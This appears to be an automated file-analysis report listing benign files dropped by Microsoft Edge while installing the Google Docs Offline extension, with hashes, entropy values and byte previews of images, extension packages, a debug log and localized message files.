SSDEEP:	24576:cB+n7HvG7oFXNQ3QB7HQ8O0S8+AhjbiVScJLa8LSsQEWSmAydAKq8SGpOk2F6T7C:6+nbv3Xu3QB7HQaN+AB0Sc9qsQEiNq8Q
MD5:	201BF292D6B516F52F1E69696BC8B88F
SHA1:	DBF6DC89BD331645871A57E93D4739DA217C1E84
SHA-256:	EC6263FF233C8B33DDD60F0B025BD0D1FD6A10F4E209E39612E805EBD5B31C15
SHA-512:	17AC4AFD17034A30B41B6A5CC116FB662519D1470AC33EEF5278C342E7ED4B512E5F421560B12BFCA98E37F49B641C77686B6A961D21F2CD84CC96EE9A8F876C
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\a14969fc-2860-481b-9480-ee9e58dfa659.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.409687142227153
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx04w5MZ0jr05M:JIVuwEw5MUFZLBQLtoiM
MD5:	7C90D70ABC0EC577ECBA2B8CF66F4F10
SHA1:	310F22FCC01C588794EE7A80978B53D2048BA707
SHA-256:	E32CDBD5056EE8AC2D6440EA652CC37312D4076EEFD9601D9ABDED56AEBD00EB
SHA-512:	28EF7B5892F7A074421D205AE1E307FE15FEBA412F276283C41EC8EF7163E0D9D5389BA3E6F9442B38E0A94F0CE8B65E0B15BF64A816845ABEA76B9399CEEDA8
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\f8745f2a-3ac3-4dbb-bebd-f08fe39627a5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\18b9426b-69cc-4e22-9232-a014fcb08282.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7300_1119855910\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
